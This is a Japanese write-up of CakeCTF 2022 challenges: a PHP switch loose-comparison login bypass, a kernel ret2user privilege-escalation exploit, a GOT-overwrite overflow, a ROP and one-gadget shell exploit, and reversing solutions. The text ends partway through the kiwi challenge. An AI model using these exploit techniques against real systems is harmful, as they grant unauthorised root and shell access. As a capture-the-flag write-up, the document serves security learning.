CakeCTF 2022 Writeup

2022/9/3 14:00 (JST) ~ 2022/9/4 14:00 (JST)に開催されたCakeCTF 2022のwriteupです。

1406pt獲得し、正の得点を獲得した713チームの内、21位でした。

程よい難易度でどの問題も解いていて楽しかったです。

Web

CakeGEAR

与えられたURLにアクセスするとユーザー名とパスワードを入力するだけのシンプルなログインページが表示されました。

ログイン処理を確認するためにソースコードを読みます。

<?php
session_start();
$_SESSION = array();
define('ADMIN_PASSWORD', 'f365691b6e7d8bc4e043ff1b75dc660708c1040e');

/* Router login API */
$req = @json_decode(file_get_contents("php://input"));
if (isset($req->username) && isset($req->password)) {
    if ($req->username === 'godmode'
        && !in_array($_SERVER['REMOTE_ADDR'], ['127.0.0.1', '::1'])) {
        /* Debug mode is not allowed from outside the router */
        $req->username = 'nobody';
    }

    switch ($req->username) {
        case 'godmode':
            /* No password is required in god mode */
            $_SESSION['login'] = true;
            $_SESSION['admin'] = true;
            break;

        case 'admin':
            /* Secret password is required in admin mode */
            if (sha1($req->password) === ADMIN_PASSWORD) {
                $_SESSION['login'] = true;
                $_SESSION['admin'] = true;
            }
            break;

        case 'guest':
            /* Guest mode (low privilege) */
            if ($req->password === 'guest') {
                $_SESSION['login'] = true;
                $_SESSION['admin'] = false;
            }
            break;
    }

    /* Return response */
    if (isset($_SESSION['login']) && $_SESSION['login'] === true) {
        echo json_encode(array('status'=>'success'));
        exit;
    } else {
        echo json_encode(array('status'=>'error'));
        exit;
    }
}
?>
...

index.phpと一緒に与えられたadmin.phpの中身も確認します。

<?php
session_start();
if (empty($_SESSION['login']) || $_SESSION['login'] !== true) {
    header("Location: /index.php");
    exit;
}

if ($_SESSION['admin'] === true) {
    $mode = 'admin';
    $flag = file_get_contents("/flag.txt");
} else {
    $mode = 'guest';
    $flag = "***** Access Denied *****";
}
?>
<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8">
        <title>control panel - CAKEGEAR</title>
        <style>table, td { margin: auto; border: 1px solid #000; }</style>
    </head>
    <body style="text-align: center;">
        <h1>Router Control Panel</h1>
        <table><tbody>
            <tr><td><b>Status</b></td><td>UP</td></tr>
            <tr><td><b>Router IP</b></td><td>192.168.1.1</td></tr>
            <tr><td><b>Your IP</b></td><td>192.168.1.7</td></tr>
            <tr><td><b>Access Mode</b></td><td><?= $mode ?></td></tr>
            <tr><td><b>FLAG</b></td><td><?= $flag ?></td></tr>
        </tbody></table>
    </body>
</html>

この2つのソースコードから$_SESSION['admin']trueにできれば、フラグを手に入れられることがわかります。adminユーザーでログインするのは無理そうなので、パスワードなしでadmin権限が得られるgodmodeユーザーに注目します。

    if ($req->username === 'godmode'
        && !in_array($_SERVER['REMOTE_ADDR'], ['127.0.0.1', '::1'])) {
        /* Debug mode is not allowed from outside the router */
        $req->username = 'nobody';
    }

    switch ($req->username) {
        case 'godmode':
            /* No password is required in god mode */
            $_SESSION['login'] = true;
            $_SESSION['admin'] = true;
            break;

上に示す部分からlocalhost以外からアクセスされた場合、ユーザー名を勝手に書き換えられてしまうことが読み取れます。ここをなんとかバイパスする方法を考えます。

PHPのドキュメントを見ると、switch~case文は内部で==、つまり緩い比較を行っていること書かれていました。よって、$req->usernametrueを渡すと一つ目のif文を無視でき、switch文でgodmodeのcaseを実行させることができます。

import requests
import json

url = "http://web1.2022.cakectf.com:8005"

data = {
    "username": True,
    "password": "pass",
}

ses = requests.session()
res = ses.post(url, data=json.dumps(data))
print(ses.get(url + "/admin.php").text)
$ python3 sol.py | grep Cake
            <tr><td><b>FLAG</b></td><td>CakeCTF{y0u_mu5t_c4st_2_STRING_b3f0r3_us1ng_sw1tch_1n_PHP}

Pwn

welkerme

kernel exploit問です。

pawnyable.cafeという素晴らしいサイトがあるので、Linux exploitのページを参考に次のようなexploitコードを作成しました。セキュリティ機構は無効化されているので、ret2userするだけで権限昇格できました。

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>

#define CMD_ECHO 0xc0de0001
#define CMD_EXEC 0xc0de0002

#define commit_creds 0xffffffff81072540
#define prepare_kernel_cred 0xffffffff810726e0

unsigned long user_cs, user_ss, user_rsp, user_rflags;

static void win(void) {
  system("/bin/sh");
}

static void save_state() {
  asm(
      "movq %%cs, %0\n"
      "movq %%ss, %1\n"
      "movq %%rsp, %2\n"
      "pushfq\n"
      "popq %3\n"
      : "=r"(user_cs), "=r"(user_ss), "=r"(user_rsp), "=r"(user_rflags)
      :
      : "memory");
}

static void restore_state() {
    asm volatile("swapgs ;"
            "movq %0, 0x20(%%rsp)\t\n"
            "movq %1, 0x18(%%rsp)\t\n"
            "movq %2, 0x10(%%rsp)\t\n"
            "movq %3, 0x08(%%rsp)\t\n"
            "movq %4, 0x00(%%rsp)\t\n"
            "iretq"
            :
            : "r"(user_ss),
              "r"(user_rsp),
              "r"(user_rflags),
              "r"(user_cs),
              "r"(win));
}

static void exploit(void) {
  char* (*pkc)(int) = (void*)(prepare_kernel_cred);
  void (*cc)(char*) = (void*)(commit_creds);
  (*cc)((*pkc)(0));
  restore_state();
}

int main(void) {
  save_state();
  int fd, ret;

  if ((fd = open("/dev/welkerme", O_RDWR)) < 0) {
    perror("/dev/welkerme");
    exit(1);
  }

  ret = ioctl(fd, CMD_ECHO, 12345);
  printf("CMD_ECHO(12345) --> %d\n", ret);

  ret = ioctl(fd, CMD_EXEC, (long)exploit);
  printf("CMD_EXEC(func) --> %d\n", ret);

  close(fd);
  return 0;
}

作成したexploitコードをコンパイルします。

$ musl-gcc -o exploit exploit.c -static

コンパイルが無事に終了すれば、次のスクリプトでリモート環境に転送します。

from pwn import *
import subprocess
import base64

def runcmd(cmd):
    sock.sendlineafter(b"$ ", cmd.encode())
    sock.recvline()

with open("./exploit", "rb") as f:
    payload = base64.b64encode(f.read()).decode()

sock = remote("pwn2.2022.cakectf.com", 9999)

cmd = sock.recvline().decode()
out = subprocess.check_output(cmd, shell=True)
sock.sendline(out)

runcmd("cd /tmp")

logging.info("Uploading...")
for i in range(0, len(payload), 512):
    print(f"Uploading... {i:x} / {len(payload):x}")
    runcmd('echo "{}" >> b64exp'.format(payload[i:i+512]))

runcmd("base64 -d b64exp > exploit")
runcmd("rm b64exp")
runcmd("chmod +x exploit")

sock.interactive()

最後に、リモート環境で作成した実行ファイルを実行すると、権限昇格したシェルが得られました。

python3 transfer.py
[+] Opening connection to pwn2.2022.cakectf.com on port 9999: Done
Uploading... 0 / bab8
Uploading... 200 / bab8
...
Uploading... b800 / bab8
Uploading... ba00 / bab8
[*] Switching to interactive mode
INFO:pwnlib.tubes.remote.remote.140558790377632:Switching to interactive mode
/tmp $ $ ./exploit
./exploit
CMD_ECHO(12345) --> 12345
/tmp # $ id
id
uid=0(root) gid=0(root)
/tmp # $ cd /
cd /
/ # $ ls
ls
bin      etc      lib      linuxrc  root     sbin     tmp      var
dev      init     lib64    proc     run      sys      usr
/ # $ cd root
cd root
~ # $ cat flag.txt
cat flag.txt
CakeCTF{b4s1cs_0f_pr1v1l3g3_3sc4l4t10n!!}

str.vs.cstr

実行ファイルとそのソースコードが与えられます。

c_strを書き換える際に、サイズの指定がないのでBOFでstrのデータを書き換えることができます。std::stringの最初の8byteはデータ本体のポインタになっている(参考)ので、BOFで適当なGOTを書き換えてcallmeを呼び出すとシェルを奪えました。

from pwn import *

elf = ELF("./chall")
win = elf.symbols["_ZN4Test7call_meEv"]
io_good_got = elf.got["_ZNKSt9basic_iosIcSt11char_traitsIcEE4goodEv"]

p = remote("pwn1.2022.cakectf.com", 9003)

p.sendlineafter(": ", "1")

payload = b"A" * 0x20
payload += p64(io_good_got)
p.sendlineafter(": ", payload)

p.sendlineafter(": ", "3")
p.sendlineafter(": ", p64(win))

p.interactive()
$ python3 solve.py
[*] '/home/miso/ctf/cake2022/str_vs_cstr/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to pwn1.2022.cakectf.com on port 9003: Done
[*] Switching to interactive mode
$ ls
chall
flag-ba2a141e66fda88045dc28e72c0daf20.txt
$ cat flag*
CakeCTF{HW1: Remove "call_me" and solve it / HW2: Set PIE+RELRO and solve it}

smal arey

実行ファイルchallとそのソースコードlibc-2.31.sold-2.31が与えられます。

初めにソースコードを見ていきます。

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define ARRAY_SIZE(n) (n * sizeof(long))
#define ARRAY_NEW(n) (long*)alloca(ARRAY_SIZE(n + 1))

int main() {
  long size, index, *arr;

  printf("size: ");
  if (scanf("%ld", &size) != 1 || size < 0 || size > 5)
    exit(0);

  arr = ARRAY_NEW(size);
  while (1) {
    printf("index: ");
    if (scanf("%ld", &index) != 1 || index < 0 || index >= size)
      exit(0);

    printf("value: ");
    scanf("%ld", &arr[index]);
  }
}

__attribute__((constructor))
void setup(void) {
  alarm(180);
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
}

allocaでスタック上にメモリを確保して、指定したインデックスに任意の値を書き込めるようです。しかし、確保できる領域は0~5と非常に小さく、加えて範囲外にアクセスすることもできません。

いろいろ試していくうちに、sizeを5にして5番目の要素を書き換えると、sizeの値を書き換えられることがわかりました。arrayのアドレスはarray[6]に存在することも分かったため、「array[6]を書き換える → array[0]を書き換える」とすると、任意のアドレスに任意の値を書き込めるようになります。

これを用いてexitのGOTを書き換えてROPを行い、libcのリーク → one gadget RCEでシェルを奪いました。

from pwn import *

libc = ELF("libc-2.31.so")
elf = ELF("./chall")

got_printf = elf.got["printf"]
plt_printf = elf.plt["printf"]
got_exit = elf.got["exit"]
main_addr = elf.symbols["_start"]
call_printf = 0x4011d8
rop_ret = 0x40101a
rop_pop_rsi_r15 = 0x4013e1
rop_pop_rdi = 0x4013e3

p = remote("pwn1.2022.cakectf.com", 9002)

def write(index, val):
    p.sendlineafter(b"index: ", str(index).encode())
    p.sendlineafter(b"value: ", str(val).encode())

def rop(gadgets):
    write(1, rop_pop_rsi_r15)
    write(4, rop_pop_rsi_r15)

    for i, gadget in enumerate(gadgets):
        write(7 + i, gadget)

    # execute rop
    write(6, got_exit)
    write(0, rop_pop_rsi_r15)  # exit呼び出し時に余分な物がスタックに乗っているので取り除く
    p.sendlineafter(b"index: ", b"-1")

p.sendlineafter(b"size: ", b"5")

# rewrite stack size
write(4, 100)

rop([
    rop_pop_rdi,
    got_printf,
    call_printf,
    rop_ret,
    rop_ret,
    rop_ret,
    main_addr,
])

libc_printf = u64(p.recv().ljust(8, b"\x00"))
libc.address = libc_printf - libc.symbols["printf"]
print(hex(libc_printf))

p.sendline(b'A')

p.sendlineafter(b"size: ", b"5")
write(4, 100)
write(6, got_exit)
write(0, libc.address + 0xe3b04)

p.interactive()
$ python3 solve.py
[*] '/home/miso/ctf/cake2022/smal_arey/libc-2.31.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/home/miso/ctf/cake2022/smal_arey/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to pwn1.2022.cakectf.com on port 9002: Done
0x7fbaff57ac90
[*] Switching to interactive mode
index: $ -1
$ cat flag*
CakeCTF{PRE01-C. Use parentheses within macros around parameter names}

Reversing

nimrev

実行ファイルchallが与えられます。

実行すると、入力を求められます。適当に入力すると、Wrong...と表示されました。

$ ./chall
hogehoge
Wrong...

ghidraで逆コンパイルされた結果を見ていると、NimMainModule関数内で、暗号化されたフラグらしきものをスタック上に書き込んでいる処理が見つかりました。

void NimMainModule(void)

{
  char cVar1;
  undefined8 uVar2;
  undefined8 *puVar3;
  undefined8 uVar4;
  long in_FS_OFFSET;
  code *local_28;
  undefined8 local_20;
  undefined8 local_18;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  nimZeroMem(&local_18,8);
  uVar2 = readLine_systemZio_271(stdin);
  puVar3 = (undefined8 *)newSeq(NTIseqLcharT__lBgZ7a89beZGYPl8PiANMTA_,0x18);
  *(undefined *)(puVar3 + 2) = 0xbc;
  *(undefined *)((long)puVar3 + 0x11) = 0x9e;
  *(undefined *)((long)puVar3 + 0x12) = 0x94;
  *(undefined *)((long)puVar3 + 0x13) = 0x9a;
  *(undefined *)((long)puVar3 + 0x14) = 0xbc;
  *(undefined *)((long)puVar3 + 0x15) = 0xab;
  *(undefined *)((long)puVar3 + 0x16) = 0xb9;
  *(undefined *)((long)puVar3 + 0x17) = 0x84;
  *(undefined *)(puVar3 + 3) = 0x8c;
  *(undefined *)((long)puVar3 + 0x19) = 0xcf;
  *(undefined *)((long)puVar3 + 0x1a) = 0x92;
  *(undefined *)((long)puVar3 + 0x1b) = 0xcc;
  *(undefined *)((long)puVar3 + 0x1c) = 0x8b;
  *(undefined *)((long)puVar3 + 0x1d) = 0xce;
  *(undefined *)((long)puVar3 + 0x1e) = 0x92;
  *(undefined *)((long)puVar3 + 0x1f) = 0xcc;
  *(undefined *)(puVar3 + 4) = 0x8c;
  *(undefined *)((long)puVar3 + 0x21) = 0xa0;
  *(undefined *)((long)puVar3 + 0x22) = 0x91;
  *(undefined *)((long)puVar3 + 0x23) = 0xcf;
  *(undefined *)((long)puVar3 + 0x24) = 0x8b;
  *(undefined *)((long)puVar3 + 0x25) = 0xa0;
  *(undefined *)((long)puVar3 + 0x26) = 0xbc;
  *(undefined *)((long)puVar3 + 0x27) = 0x82;
  nimZeroMem(&local_28,0x10);
  local_28 = colonanonymous__main_7;
  local_20 = 0;
  if (puVar3 == (undefined8 *)0x0) {
    uVar4 = 0;
  }
  else {
    uVar4 = *puVar3;
  }
  puVar3 = (undefined8 *)map_main_11(puVar3 + 2,uVar4,colonanonymous__main_7,0);
  if (puVar3 == (undefined8 *)0x0) {
    uVar4 = 0;
  }
  else {
    uVar4 = *puVar3;
  }
  uVar4 = join_main_42(puVar3 + 2,uVar4,0);
  cVar1 = eqStrings(uVar2,uVar4);
  if (cVar1 == '\x01') {
    local_18 = copyString(&TM__V45tF8B8NBcxFcjfe7lhBw_4);
  }
  else {
    local_18 = copyString(&TM__V45tF8B8NBcxFcjfe7lhBw_5);
  }
  echoBinSafe(&local_18,1);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}    

この処理の後に、mapらしき関数を呼び出しており、引数として暗号文らしき文字列とcolonanonymous__main_7という関数を与えています。colonanonymous__main_7は第一引数に与えられた値のnotを返すだけの関数です。

byte colonanonymous__main_7(byte param_1)

{
  return ~param_1;
}

この処理をPythonで書き直して実行すると、フラグが手に入りました。

enc = [0xbc ,0x9e ,0x94 ,0x9a ,0xbc ,0xab ,0xb9 ,0x84 ,0x8c ,0xcf ,0x92 ,0xcc ,0x8b ,0xce ,0x92 ,0xcc ,0x8c ,0xa0 ,0x91 ,0xcf ,0x8b ,0xa0 ,0xbc ,0x82]
flag = "".join(map(lambda x: chr(~x & 0xff), enc))
print(flag)
$ python3 solve.py
CakeCTF{s0m3t1m3s_n0t_C}

luau

libflag.luaとmain.luaの2つのソースファイルが与えられます。

main.luaを実行すると、フラグの入力を求められます。適当に入力するとWrong...が表示されました。

$ lua main.lua
FLAG: hoge
Wrong...

実際の処理を見ていきます。

local libflag = require "libflag"
io.write("FLAG: ")
flag = io.read("*l")
if libflag.checkFlag(flag, "CakeCTF 2022") then
   print("Correct!")
else
   print("Wrong...")
end

libflagを読み込んで、libflag.checkFlagで入力された文字列がフラグと一致しているか確認しているようです。libflag.luaの中身も見てみます。

$ xxd libflag.lua
xxd libflag.lua
00000000: 1b4c 7561 5300 1993 0d0a 1a0a 0408 0408  .LuaS...........
00000010: 0878 5600 0000 0000 0000 0000 0000 2877  .xV...........(w
00000020: 4001 0000 0000 0000 0000 0000 0202 0500  @...............
00000030: 0000 2c00 0000 4b40 0000 4a00 0080 6600  ..,...K@..J...f.
00000040: 0001 2600 8000 0100 0000 040a 6368 6563  ..&.........chec
00000050: 6b46 6c61 6701 0000 0001 0001 0000 0000  kFlag...........
00000060: 0100 0000 2000 0000 0200 296e 0000 008b  .... .....)n....
00000070: 0000 0dc1 0000 0001 4100 0041 8100 0081  ........A..A....
00000080: c100 00c1 0101 0001 4201 0041 8201 0081  ........B..A....
00000090: c201 00c1 0202 0001 4302 0041 8302 0081  ........C..A....
000000a0: c301 00c1 c302 0001 0403 0041 4403 0081  ...........AD...
...
00000330: 1357 0000 0000 0000 0013 5900 0000 0000  .W........Y.....
00000340: 0000 1322 0000 0000 0000 0013 0100 0000  ..."............
00000350: 0000 0000 0407 7374 7269 6e67 0405 6279  ......string..by
00000360: 7465 0404 7375 6201 0000 0000 0000 0000  te..sub.........
00000370: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000380: 0000 0000 0000 0000 00

libflag.luaの中身はバイナリ形式になっており、checkFlagで何が行われているか確認することができません。

luaデコンパイルについて調べていたら、luadecなるものが見つかりました。これを使ってlibflag.luaを逆アセンブルすると、次に示す結果が得られました。

; Disassembled using luadec 2.2 rev: 895d923 for Lua 5.3 from https://github.com/viruscamp/luadec
; Command line: -dis libflag.lua

; Function:        0
; Defined at line: 0
; #Upvalues:       1
; #Parameters:     0
; Is_vararg:       2
; Max Stack Size:  2

    0 [-]: CLOSURE   R0 0         ; R0 := closure(Function #0_0)
    1 [-]: NEWTABLE  R1 0 1       ; R1 := {} (size = 0,1)
    2 [-]: SETTABLE  R1 K0 R0     ; R1["checkFlag"] := R0
    3 [-]: RETURN    R1 2         ; return R1
    4 [-]: RETURN    R0 1         ; return


; Function:        0_0
; Defined at line: 1
; #Upvalues:       1
; #Parameters:     2
; Is_vararg:       0
; Max Stack Size:  41

    0 [-]: NEWTABLE  R2 26 0      ; R2 := {} (size = 26,0)
    1 [-]: LOADK     R3 K0        ; R3 := 62
    2 [-]: LOADK     R4 K1        ; R4 := 85
    3 [-]: LOADK     R5 K2        ; R5 := 25
    4 [-]: LOADK     R6 K3        ; R6 := 84
    5 [-]: LOADK     R7 K4        ; R7 := 47
    6 [-]: LOADK     R8 K5        ; R8 := 56
    7 [-]: LOADK     R9 K6        ; R9 := 118
    8 [-]: LOADK     R10 K7       ; R10 := 71
    9 [-]: LOADK     R11 K8       ; R11 := 109
   10 [-]: LOADK     R12 K9       ; R12 := 0
   11 [-]: LOADK     R13 K10      ; R13 := 90
   12 [-]: LOADK     R14 K7       ; R14 := 71
   13 [-]: LOADK     R15 K11      ; R15 := 115
   14 [-]: LOADK     R16 K12      ; R16 := 9
   15 [-]: LOADK     R17 K13      ; R17 := 30
   16 [-]: LOADK     R18 K14      ; R18 := 58
   17 [-]: LOADK     R19 K15      ; R19 := 32
   18 [-]: LOADK     R20 K16      ; R20 := 101
   19 [-]: LOADK     R21 K17      ; R21 := 40
   20 [-]: LOADK     R22 K18      ; R22 := 20
   21 [-]: LOADK     R23 K19      ; R23 := 66
   22 [-]: LOADK     R24 K20      ; R24 := 111
   23 [-]: LOADK     R25 K21      ; R25 := 3
   24 [-]: LOADK     R26 K22      ; R26 := 92
   25 [-]: LOADK     R27 K23      ; R27 := 119
   26 [-]: LOADK     R28 K24      ; R28 := 22
   27 [-]: LOADK     R29 K10      ; R29 := 90
   28 [-]: LOADK     R30 K25      ; R30 := 11
   29 [-]: LOADK     R31 K23      ; R31 := 119
   30 [-]: LOADK     R32 K26      ; R32 := 35
   31 [-]: LOADK     R33 K27      ; R33 := 61
   32 [-]: LOADK     R34 K28      ; R34 := 102
   33 [-]: LOADK     R35 K28      ; R35 := 102
   34 [-]: LOADK     R36 K11      ; R36 := 115
   35 [-]: LOADK     R37 K29      ; R37 := 87
   36 [-]: LOADK     R38 K30      ; R38 := 89
   37 [-]: LOADK     R39 K31      ; R39 := 34
   38 [-]: LOADK     R40 K31      ; R40 := 34
   39 [-]: SETLIST   R2 38 1      ; R2[0] to R2[37] := R3 to R40 ; R(a)[(c-1)*FPF+i] := R(a+i), 1 <= i <= b, a=2, b=38, c=1, FPF=50
   40 [-]: LEN       R3 R0        ; R3 := #R0
   41 [-]: LEN       R4 R2        ; R4 := #R2
   42 [-]: EQ        1 R3 R4      ; if R3 ~= R4 then goto 44 else goto 46
   43 [-]: JMP       R0 2         ; PC += 2 (goto 46)
   44 [-]: LOADBOOL  R3 0 0       ; R3 := false
   45 [-]: RETURN    R3 2         ; return R3
   46 [-]: NEWTABLE  R3 0 0       ; R3 := {} (size = 0,0)
   47 [-]: NEWTABLE  R4 0 0       ; R4 := {} (size = 0,0)
   48 [-]: LOADK     R5 K32       ; R5 := 1
   49 [-]: LEN       R6 R0        ; R6 := #R0
   50 [-]: LOADK     R7 K32       ; R7 := 1
   51 [-]: FORPREP   R5 8         ; R5 -= R7; pc += 8 (goto 60)
   52 [-]: GETTABUP  R9 U0 K33    ; R9 := U0["string"]
   53 [-]: GETTABLE  R9 R9 K34    ; R9 := R9["byte"]
   54 [-]: SELF      R10 R0 K35   ; R11 := R0; R10 := R0["sub"]
   55 [-]: MOVE      R12 R8       ; R12 := R8
   56 [-]: ADD       R13 R8 K32   ; R13 := R8 + 1
   57 [-]: CALL      R10 4 0      ; R10 to top := R10(R11 to R13)
   58 [-]: CALL      R9 0 2       ; R9 := R9(R10 to top)
   59 [-]: SETTABLE  R3 R8 R9     ; R3[R8] := R9
   60 [-]: FORLOOP   R5 -9        ; R5 += R7; if R5 <= R6 then R8 := R5; PC += -9 , goto 52 end
   61 [-]: LOADK     R5 K32       ; R5 := 1
   62 [-]: LEN       R6 R1        ; R6 := #R1
   63 [-]: LOADK     R7 K32       ; R7 := 1
   64 [-]: FORPREP   R5 8         ; R5 -= R7; pc += 8 (goto 73)
   65 [-]: GETTABUP  R9 U0 K33    ; R9 := U0["string"]
   66 [-]: GETTABLE  R9 R9 K34    ; R9 := R9["byte"]
   67 [-]: SELF      R10 R1 K35   ; R11 := R1; R10 := R1["sub"]
   68 [-]: MOVE      R12 R8       ; R12 := R8
   69 [-]: ADD       R13 R8 K32   ; R13 := R8 + 1
   70 [-]: CALL      R10 4 0      ; R10 to top := R10(R11 to R13)
   71 [-]: CALL      R9 0 2       ; R9 := R9(R10 to top)
   72 [-]: SETTABLE  R4 R8 R9     ; R4[R8] := R9
   73 [-]: FORLOOP   R5 -9        ; R5 += R7; if R5 <= R6 then R8 := R5; PC += -9 , goto 65 end
   74 [-]: LOADK     R5 K32       ; R5 := 1
   75 [-]: LEN       R6 R3        ; R6 := #R3
   76 [-]: LOADK     R7 K32       ; R7 := 1
   77 [-]: FORPREP   R5 9         ; R5 -= R7; pc += 9 (goto 87)
   78 [-]: ADD       R9 R8 K32    ; R9 := R8 + 1
   79 [-]: LEN       R10 R3       ; R10 := #R3
   80 [-]: LOADK     R11 K32      ; R11 := 1
   81 [-]: FORPREP   R9 4         ; R9 -= R11; pc += 4 (goto 86)
   82 [-]: GETTABLE  R13 R3 R8    ; R13 := R3[R8]
   83 [-]: GETTABLE  R14 R3 R12   ; R14 := R3[R12]
   84 [-]: SETTABLE  R3 R8 R14    ; R3[R8] := R14
   85 [-]: SETTABLE  R3 R12 R13   ; R3[R12] := R13
   86 [-]: FORLOOP   R9 -5        ; R9 += R11; if R9 <= R10 then R12 := R9; PC += -5 , goto 82 end
   87 [-]: FORLOOP   R5 -10       ; R5 += R7; if R5 <= R6 then R8 := R5; PC += -10 , goto 78 end
   88 [-]: LOADK     R5 K32       ; R5 := 1
   89 [-]: LEN       R6 R3        ; R6 := #R3
   90 [-]: LOADK     R7 K32       ; R7 := 1
   91 [-]: FORPREP   R5 14        ; R5 -= R7; pc += 14 (goto 106)
   92 [-]: GETTABLE  R9 R3 R8     ; R9 := R3[R8]
   93 [-]: SUB       R10 R8 K32   ; R10 := R8 - 1
   94 [-]: LEN       R11 R4       ; R11 := #R4
   95 [-]: MOD       R10 R10 R11  ; R10 := R10 % R11
   96 [-]: ADD       R10 K32 R10  ; R10 := 1 + R10
   97 [-]: GETTABLE  R10 R4 R10   ; R10 := R4[R10]
   98 [-]: BXOR      R9 R9 R10    ; R9 := R9 ~ R10
   99 [-]: SETTABLE  R3 R8 R9     ; R3[R8] := R9
  100 [-]: GETTABLE  R9 R3 R8     ; R9 := R3[R8]
  101 [-]: GETTABLE  R10 R2 R8    ; R10 := R2[R8]
  102 [-]: EQ        1 R9 R10     ; if R9 ~= R10 then goto 104 else goto 106
  103 [-]: JMP       R0 2         ; PC += 2 (goto 106)
  104 [-]: LOADBOOL  R9 0 0       ; R9 := false
  105 [-]: RETURN    R9 2         ; return R9
  106 [-]: FORLOOP   R5 -15       ; R5 += R7; if R5 <= R6 then R8 := R5; PC += -15 , goto 92 end
  107 [-]: LOADBOOL  R5 1 0       ; R5 := true
  108 [-]: RETURN    R5 2         ; return R5
  109 [-]: RETURN    R0 1         ; return

これを気合で読んで、Pythonで書き直すと次のようになります。

def checkflag(inp, key):
    enc = [62 ,85 ,25 ,84 ,47 ,56 ,118 ,71 ,109 ,0 ,90 ,71 ,115 ,9 ,30 ,58 ,32 ,101 ,40 ,20 ,66 ,111 ,3 ,92 ,119 ,22 ,90 ,11 ,119 ,35 ,61 ,102 ,102 ,115 ,87 ,89 ,34 ,34]
    if len(inp) != len(enc):
        return False
    
    inp = list(reversed(inp))
    for i in range(len(inp)):
        x = enc[i] ^ key[i % len(key)]
        if x != inp[i]:
            return False
    return True

keyと入力でxorをとって、暗号化されたものと比較しているだけです。よって、暗号化されたものとkeyでxorを取ることで元の平文が求まります。

enc = [62 ,85 ,25 ,84 ,47 ,56 ,118 ,71 ,109 ,0 ,90 ,71 ,115 ,9 ,30 ,58 ,32 ,101 ,40 ,20 ,66 ,111 ,3 ,92 ,119 ,22 ,90 ,11 ,119 ,35 ,61 ,102 ,102 ,115 ,87 ,89 ,34 ,34]
key = b"CakeCTF 2022"

flag = ""

for i, e in enumerate(enc):
    k = key[i % len(key)]
    flag += chr(k ^ e)
print(flag[::-1])
$ python3 solve.py
CakeCTF{w4n1w4n1_p4n1c_uh0uh0_g0ll1r4}

kiwi

実行ファイルchallが与えられます。

実行すると、keyの入力を求められます。適当に入力すると、Invalid keyFailed to read keyなどが表示されました。

$ ./chall
Enter key: 0011
[-] Invalid key.
$ ./chall
Enter key: 1111111
[-] Failed to read key.

ghidraでデコンパイルして、main関数の処理を見ていきます。

undefined8 main(void)

{
  byte bVar1;
  char cVar2;
  bool bVar3;
  int iVar4;
  _Setfill _Var5;
  _Setw _Var6;
  basic_ostream *pbVar7;
  byte *pbVar8;
  basic_ostream<char,std::char_traits<char>> *this;
  undefined8 uVar9;
  long in_FS_OFFSET;
  undefined8 local_e0;
  undefined8 local_d8;
  vector<unsigned_char,std::allocator<unsigned_char>> *local_d0;
  MemoryPool local_c8 [16];
  basic_string local_b8 [32];
  ByteBuffer local_98 [48];
  basic_string local_68 [32];
  EncryptionKey local_48 [40];
  long local_20;
  
  local_20 = *(long *)(in_FS_OFFSET + 0x28);
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string();
                    /* try { // try from 001065b6 to 001065ba has its CatchHandler @ 001068f5 */
  kiwi::ByteBuffer::ByteBuffer(local_98);
  kiwi::MemoryPool::MemoryPool(local_c8);
  cakectf::EncryptionKey::EncryptionKey(local_48);
  setbuf(stdin,(char *)0x0);
  setbuf(stdout,(char *)0x0);
  setbuf(stderr,(char *)0x0);
                    /* try { // try from 00106619 to 00106766 has its CatchHandler @ 001068ce */
  iVar4 = readFlag(local_68);
  if (iVar4 == 0) {
    iVar4 = readKey(local_98);
    if (iVar4 == 0) {
      cVar2 = cakectf::EncryptionKey::decode(local_48,local_98,local_c8,(BinarySchema *)0x0);
      if (cVar2 == '\x01') {
        iVar4 = checkMessage(local_48);
        if (iVar4 == 0) {
          cakectf::EncryptionKey::key(local_48);
          encryptFlag(local_b8,(Array *)local_68);
                    /* try { // try from 00106775 to 00106864 has its CatchHandler @ 001068b6 */
          std::operator<<((basic_ostream *)std::cout,"Encrypted flag: ");
          local_d0 = (vector<unsigned_char,std::allocator<unsigned_char>> *)local_b8;
          local_e0 = std::vector<unsigned_char,std::allocator<unsigned_char>>::begin(local_d0);
          local_d8 = std::vector<unsigned_char,std::allocator<unsigned_char>>::end(local_d0);
          while( true ) {
            bVar3 = __gnu_cxx::operator!=
                              ((__normal_iterator *)&local_e0,(__normal_iterator *)&local_d8);
            if (bVar3 == false) break;
            pbVar8 = (byte *)__gnu_cxx::
                             __normal_iterator<unsigned_char*,std::vector<unsigned_char,std::allocator<unsigned_char>>>
                             ::operator*((__normal_iterator<unsigned_char*,std::vector<unsigned_char,std::allocator<unsigned_char>>>
                                          *)&local_e0);
            bVar1 = *pbVar8;
            _Var5 = std::setfill<char>('0');
            pbVar7 = std::operator<<((basic_ostream *)std::cout,_Var5);
            _Var6 = std::setw(2);
            pbVar7 = std::operator<<(pbVar7,_Var6);
            this = (basic_ostream<char,std::char_traits<char>> *)
                   std::basic_ostream<char,std::char_traits<char>>::operator<<
                             ((basic_ostream<char,std::char_traits<char>> *)pbVar7,std::hex);
            std::basic_ostream<char,std::char_traits<char>>::operator<<(this,(uint)bVar1);
            __gnu_cxx::
            __normal_iterator<unsigned_char*,std::vector<unsigned_char,std::allocator<unsigned_char>>>
            ::operator++((__normal_iterator<unsigned_char*,std::vector<unsigned_char,std::allocator<unsigned_char>>>
                          *)&local_e0);
          }
          std::basic_ostream<char,std::char_traits<char>>::operator<<
                    ((basic_ostream<char,std::char_traits<char>> *)std::cout,
                     std::endl<char,std::char_traits<char>>);
          uVar9 = 0;
